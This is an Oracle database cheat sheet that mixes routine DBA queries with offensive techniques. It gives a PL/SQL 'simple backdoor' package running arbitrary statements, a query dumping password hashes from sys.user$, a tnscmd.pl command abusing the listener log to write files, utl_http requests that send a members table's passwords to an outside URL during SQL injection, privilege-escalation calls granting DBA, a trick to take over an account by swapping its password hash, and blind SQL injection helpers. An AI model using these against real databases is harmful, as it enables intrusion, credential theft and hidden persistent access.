Oracle cheat sheet

to see scheduled jobs

select job from USER_JOBS;

to see what a job do

SELECT JOB, WHAT FROM USER_JOBS WHERE JOB = job_name;

to log all sys and system commands; this option have to be set in the init.ora file

AUDIT_SYS_OPERATIONS=TRUE

to enable the audit this option have to be set in init.ora file

AUDIT_TRAIL=DB (or FS to save on file system)

to check if audit_trail is enabled

select name, value from v$parameter where name like '%audit_trail%';

To list the audited table

select o.name from sys.obj$ o, sys.tab$ t where t.audit$ like '%A%' and o.obj#=t
.obj#;

To list the audited table and the audited action (select, update, drop. etc.)

SELECT  object_name, object_type, del, ins, sel, upd FROM dba_obj_audit_opts where del like '%A%' or ins like '%A%' or sel like '%A%' or upd like '%A%';

to check if FGA is enabled

select * from DBA_AUDIT_POLICIES;

to check which objects are audited whith FGA

SELECT object_name, object_type, del, ins, sel, upd FROM dba_obj_audit_opts;

table where audit log are stored

sys.FGA_LOG$

use this view to read FGA data

DBA_FGA_AUDIT_TRAIL

To list all the stored procedure and their owner

select OWNER, object_name, object_type FROM dba_obj_audit_opts where object_type=’PROCEDURE’;

To list all the active trigger

select owner,TRIGGER_NAME,TRIGGER_TYPE,status from dba_triggers;

To the UTL_FILE_DIR if present

select name, value from v$parameter where name = ‘utl_file_dir’;

to change the value of utl_file_dir with this command (a db restart is needed)

alter system set utl_file_dir=’*’;

To get users and passwords

SELECT name, password FROM sys.user$ where type#=1

if pfile is defined it's possible to change the utl_file_dir in runtime without restarting the database

alter system set utl_file_dir='*' scope =spfile;

To copy a table into another

create table xxx.yyy as select * from old.table;

Copy table from foreign host to here

COPY FROM user@tnsname CREATE tablename USING SELECT * FROM tablename;

remove all tabulations in  query output

set head off
set echo off
set pagesize 0
set space 1

Set display rows

SET PAGESIZE 66;

To give all java permission (read,write,execute) to a user

exec dbms_java.grant_permission('oracle_user', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'execute');

To extract a single choosed record from a table

select TNAME from (select TNAME,ROWNUM as rn from tab) where rn='2';

To list top n rows of a table in order

SELECT * FROM (SELECT * FROM t ORDER BY c) WHERE ROWNUM <= n;

To view the oracle version

select banner from v$version;
#or
Select banner || '-' || (select banner from v$version where banner like 'Oracle%') from v$version where banner like 'TNS%'

To show the source code of a package

SELECT text FROM user_source WHERE name = 'SR_PKG';

To disable the uppersand (useful when creating a file on the disk)

set define off

To enable and define an escape char

set escape \

To show the IP address of the db server

select SYS_CONTEXT('USERENV', 'IP_ADDRESS', 15) ipaddr from dual;

To show the HOSTNAME of the db server

select SYS_CONTEXT('USERENV', 'HOST', 15) ipaddr from dual;

To show user grants

select * from user_sys_privs;

oracle simple backdoor (hey gippo, really thank you!)

CREATE OR REPLACE PACKAGE RAIST_PKG AS
  PROCEDURE exec_this_code(commandline IN VARCHAR2);
END RAIST_PKG;
/

CREATE OR REPLACE PACKAGE BODY RAIST_PKG AS
  PROCEDURE exec_this_code(commandline IN VARCHAR2) IS
  BEGIN
        EXECUTE IMMEDIATE commandline;
  END;
END RAIST_PKG;

/

To start a session as sysdba

sqlplus sys@sid as sysdba;

To start a sysdba session under Windows

sqlplus "/as sysdba";

To start a session as sysdba before oracle 9i

$ svrmgrl
svrmgrl> connect internal

To list all tables in current schema

SELECT table_name FROM user_tables;

To turn pause on

SET PAUSE ON;

To show current database

SELECT * FROM global_name;

to show who I am

SHOW USER;

t o start SQLPLUS without login

SQLPLUS /NOLOG

To change a user’s password

ALTER USER user IDENTIFIED BY password;

to lock/unlock an account

ALTER USER user ACCOUNT LOCK/UNLOCK;

To delete a user and all his objects

drop user username cascade;

To grant a priv to an user

Grant “privilege” to “user”;

To grant privileges on a table

grant privileges on object to user;  (use public for any)
eg. grant select, insert, update, delete on suppliers to smithj;

To revoke privileges on a table

revoke privileges on object from user;
eg. revoke delete on suppliers from anderson;

To grant privileges on a function or a procedure

grant execute on object to user; (use public for any)
eg. grant execute on Find_Value to smithj;

To discover all the functions with public execute grant

select * from dba_tab_privs p, all_arguments a where grantee = 'PUBLIC' and privilege = 'EXECUTE' and p.table_name = a.package_name and p.owner = a.owner and a.position = 0 and a.in_out = 'OUT' order by p.owner, p.table_name, p.grantee

To revoke privileges on a function or a procedure

revoke execute on object from user;
eg. revoke execute on Find_Value from anderson;

To write a file abusing the tns listener log file using tnscmd.pl

perl ./tnscmd.pl -p1521 -h gollum --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=/tmp/test)))"

 perl ./tnscmd.pl -h gollum --rawcmd "(CONNECT_DATA=((             + +
                                                                   ))"
#respect the carriage return              ^^^^

To open a http connection somewhere

select utl.http_request('http://www.mioserver.pub') from dual;
#i know this trick in useful in at least two case:
#case 1: modifying the glogin.sql file with the trick described above(with a #create user commandJ , you will have a line dropped in the log file of your #web server when a DBA log in.
#case 2: it’s useful in sql injection to discover the IP address of the db server or to send data over http.
SELECT utl_http.request('http://www.example.com') FROM DUAL SELECT utl_http.request('http://www.example.com/?' || (SELECT pass FROM members) ) FROM DUAL

To escalate privileges from user:
OUTLN
BACKUP

exec ctxsys.driload.validate_stmt('grant dba to user');
exec dbms_repcat_admin.grant_admin_any_schema('user')'

to become a user without knowing his password

# first step, read his password hash
Select password from sys.user$ where username=’user’;
#second step, change his password
Alter user username identified by new_password;
#now you can log in with the user
Sqlplus user/new_password@sid
#When you are done you can set back the old user password
update sys.user$ set password='HASH' where name='DBA';

Functions useful for Blind SQL Injetion

BEGIN DBMS_LOCK.SLEEP(5); END; - Sleep for 5 seconds
CHR() - Convert to Char
ASCII() - Convert to ASCII
SUBSTR() - Substring
BITAND() - Bit And operation
LOWER() - Convert to LowerCase